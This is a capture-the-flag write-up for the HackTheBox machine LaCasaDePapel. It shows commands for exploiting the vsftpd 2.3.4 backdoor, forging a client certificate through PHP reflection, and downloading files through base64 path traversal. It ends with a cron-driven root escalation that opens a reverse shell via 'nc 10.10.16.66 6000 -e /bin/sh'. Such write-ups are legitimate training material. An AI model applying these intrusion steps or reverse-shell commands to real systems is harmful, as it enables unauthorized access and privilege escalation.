Post

LaCasaDePapel @ HackTheBox

LaCasaDePapel is a rather easy machine on hackthebox.eu, featuring the use of php reflection, creating and signing of client certificates and the abuse of a cronjob. Unfortunately the box was very unstable and slow for me and therefore pretty unenjoyable.

User Flag

We start with a quick port scan using nmap -Pn -n -sC -sV 10.10.10.131 and see the following open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PORT     STATE    SERVICE     VERSION
21/tcp   open     ftp         vsftpd 2.3.4
22/tcp   open     ssh         OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp   open     http        Node.js (Express middleware)
|_http-title: La Casa De Papel
443/tcp  open     ssl/http    Node.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: La Casa De Papel
| ssl-cert: Subject: commonName=lacasadepapel.htb/organizationName=La Casa De Papel
| Not valid before: 2019-01-27T08:35:30
|_Not valid after:  2029-01-24T08:35:30
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|   http/1.1
|_  http/1.0
1066/tcp filtered fpo-fns
2998/tcp filtered iss-realsec
6006/tcp filtered X11:6
Service Info: OS: Unix

On first sight the ftp version seems very interesting because there are public exploits and a metasploit module for vsftpd 2.3.4. The exploit activates a backdoor that was found in the program. We run metasploit against the target which seems to fail:

1
2
3
4
5
6
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.131:21 - USER: 331 Please specify the password.
[+] 10.10.10.131:21 - Backdoor service has been spawned, handling...
[-] 10.10.10.131:21 - The service on port 6200 does not appear to be a shell

Metasploit did trigger the backdoor and open the port, however it could not connect to the shell that should spawn there. We double check by using nc:

1
2
3
4
➜  ~ nc 10.10.10.131 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman
ls
Variables: $tokyo

We find that psysh is a php shell which means we have to write php code to execute commands that are not in the default list ( which we can get by issuing the help command). Running phpinfo(); we see that a lot of functions that would give a shell are disabled:

1
disable_functions => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source => exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

We can however use scandir("<dir>"), file_get_contents("<file>") and file_put_contents(<file>) to enumerate the box a bit:

1
2
3
4
5
6
7
8
9
10
scandir("/home");
=> [
     ".",
     "..",
     "berlin",
     "dali",
     "nairobi",
     "oslo",
     "professor",
   ]
1
2
3
4
5
6
7
8
9
10
11
scandir("/home/berlin");
=> [
     ".",
     "..",
     ".ash_history",
     ".ssh",
     "downloads",
     "node_modules",
     "server.js",
     "user.txt",
   ]
1
2
file_get_contents("/home/berlin/user.txt")
PHP Warning:  file_get_contents(/home/berlin/user.txt): failed to open stream: Permission denied

We found the the user flag but can’t read it unfortunately with our current user. There is however an interesting file in one of the other home directories:

1
2
3
4
5
6
7
8
9
10
11
12
scandir("/home/nairobi");
=> [
     ".",
     "..",
     "ca.key",
     "download.jade",
     "error.jade",
     "index.jade",
     "node_modules",
     "server.js",
     "static",
   ]

The “ca.key” file reminds of the box “Fortune” which required to create a client certificate to access a web site. We look at tcp port 443 to see if this is a similar problem:

Indeed we seem to require a client certificate which is a bit strange since the server is not directly asking for one (it just says it on the page).

With show we can look at the “$tokyo” object we saw in the beginning:

1
2
3
4
5
6
7
8
9
show $tokyo
  > 2| class Tokyo {
    3|     private function sign($caCert,$userCsr) {
    4|         $caKey = file_get_contents('/home/nairobi/ca.key');
    5|         $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|         openssl_x509_export($userCert, $userCertOut);
    7|         return $userCertOut;
    8|     }
    9| }

This looks exactly like the class we need to sign a client certificate. To use it we have to figure out a way to call the function (it is private) and provide it with the arguments it needs. First we create a private key and a certificate signing request:

1
openssl req -newkey rsa:2048 -keyout xct.priv -out xct.csr -nodes -days 365 -subj "/CN=xct" -pubout

Then we save the websites certificate in the browser to file and make both things available via a local python webserver. Finally we execute the necessary commands to sign our csr and get the certificate:

1
2
3
4
5
6
$ca = file_get_contents("http://10.10.16.66:8000/ca.crt")
$user = file_get_contents("http://10.10.16.66:8000/xct.csr")
$c = new ReflectionClass($tokyo)
$m = $c->getMethod('sign')
$m->setAccessible(true)
$m->invoke($tokyo, $ca, $user)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-----BEGIN CERTIFICATE-----
MIICvjCCAaagAwIBAgIBADANBgkqhkiG9w0BAQsFADA3MRowGAYDVQQDDBFsYWNh
c2FkZXBhcGVsLmh0YjEZMBcGA1UECgwQTGEgQ2FzYSBEZSBQYXBlbDAeFw0xOTA0
MTMxMjI1NDhaFw0yMDA0MTIxMjI1NDhaMA4xDDAKBgNVBAMMA3hjdDCCASIwDQYJ
KoZIhvcNAQEBBQADggEPADCCAQoCggEBAOoIP00Yl9c0YelThgEMfh7YFSkTGa2R
h9LRVF8Pt00Srq5LQIqCWkiSko03DMpv5r8Jc+2wu7hpCPG70KuIkNS9ldloCOJ5
wcUEx4EiMoLEMCYS9KEG7z3PwyXUIwI8MsKArH0d9uPWqCZXg4uGqtNIi8SoDMiF
ueiFJh5XHvw3YQc2z/cX48yhHi9tAqZowlOYg3oaF3liqQQO9VsgCp3xuQRrCNIW
KhbaGSYXzDFvSoN7kRr0RTxYpjM92Sie/mYWcdKa4AkplmonLFajRaEBeWsQxYAU
s6eUmsgDyyzj+jPFrF68NvBg6Lw+3YM34bsJsxc1/cgx9A8ObXaMedECAwEAATAN
BgkqhkiG9w0BAQsFAAOCAQEAdTMJrHhyu4c9DEN7YA39XhOfqM7mLuo8e5Epbi2b
0MSfrx3TwhddEet3BRC64VGYebcNZJRxB6O8n5bTAy9Tpk/321PqOB3TA173K0w4
PUm7/5KNZY23fmHRcO5rbtFWV4te5XNu8hZayeuB5NS5fr2EH0MvLkGNzybDAZcq
UnKeYBXx2IeELtY6SGkVgddMITHuLFBJOTgDFXpOtGklhD3utyryAsMXxXPisL3j
m39aggnj56sNn/mZJmh2VjRGd3HOdClNAbl2W0kirayVKnjULC57goDWYlGbOBoK
q+1mtacjxQmVaQJ4i56VsCyRaY4DnnemwfPC9/jkB5n/QQ==
-----END CERTIFICATE-----

We can convert this certificate to pkcs12 (openssl pkcs12 -export -clcerts -in signed.cert -inkey xct.priv -out xct.p12) and import it into firefox (Privacy &Security->View Certificates->Import) and finally load the site that hides behind it:

We see that the season downloader is vulnerable to a simple path traversal:

1
2
3
4
5
6
7
8
https://10.10.10.131/?path=../

    .ash_history
    .ssh
    downloads
    node_modules
    server.js
    user.txt

This however just allows to list files not download them. When we go back to the “normal” season downloader we see that it requests files with a base64 encoded path:

1
2
3
4
https://10.10.10.131/file/U0VBU09OLTEvMDEuYXZp

➜  echo -ne "U0VBU09OLTEvMDEuYXZp" | base64 -d
SEASON-1/01.avi%

We learned by decoding how to make a request that downloads a specific file and can read the user flag this way:

1
2
3
echo -ne "../user.txt" | base64
Li4vdXNlci50eHQ=
https://10.10.10.131/file/Li4vdXNlci50eHQ=

Root Flag

In the .ssh folder we can find a private key and download it. However it does not seem to belong to the user “berlin”, so we try it for all users and eventually succeed as “professor”:

1
2
3
4
5
6
7
8
9
10
11
➜  lacasadepapel ssh -i id_rsa professor@10.10.10.131

 _             ____                  ____         ____                  _
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|

lacasadepapel [~]$ whoami
professor

We inspect the running processes and find memcached running in combination with several memcached files in the home directory of professor:

1
2
3
4
8221 nobody    0:02 /usr/bin/node /home/professor/memcached.js
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29 01:24 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29 01:31 node_modules

We also see that in “/etc/crontabs” an entry called “professor” exists which we can not read. Looking at the content of memcached.ini we see that it seems to run a command with sudo:

1
2
[program:memcached]
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

If we could modify the command we could probably get command execution in the context of root. When looking at the file permissions we see that we do not have permissions to modify the file. There is however a suid bit set on the home folder of professor (which is very uncommon). This means we can, despite having no direct access to the file, move and replace it.

We backup the original file, modify it, and get a shell as root:

1
2
3
mv memcached.ini memcached.ini.bak
echo -e "[program:memcached]
command = sudo nc 10.10.16.66 6000 -e /bin/sh" > memcached.ini
This post is licensed under CC BY 4.0 by the author.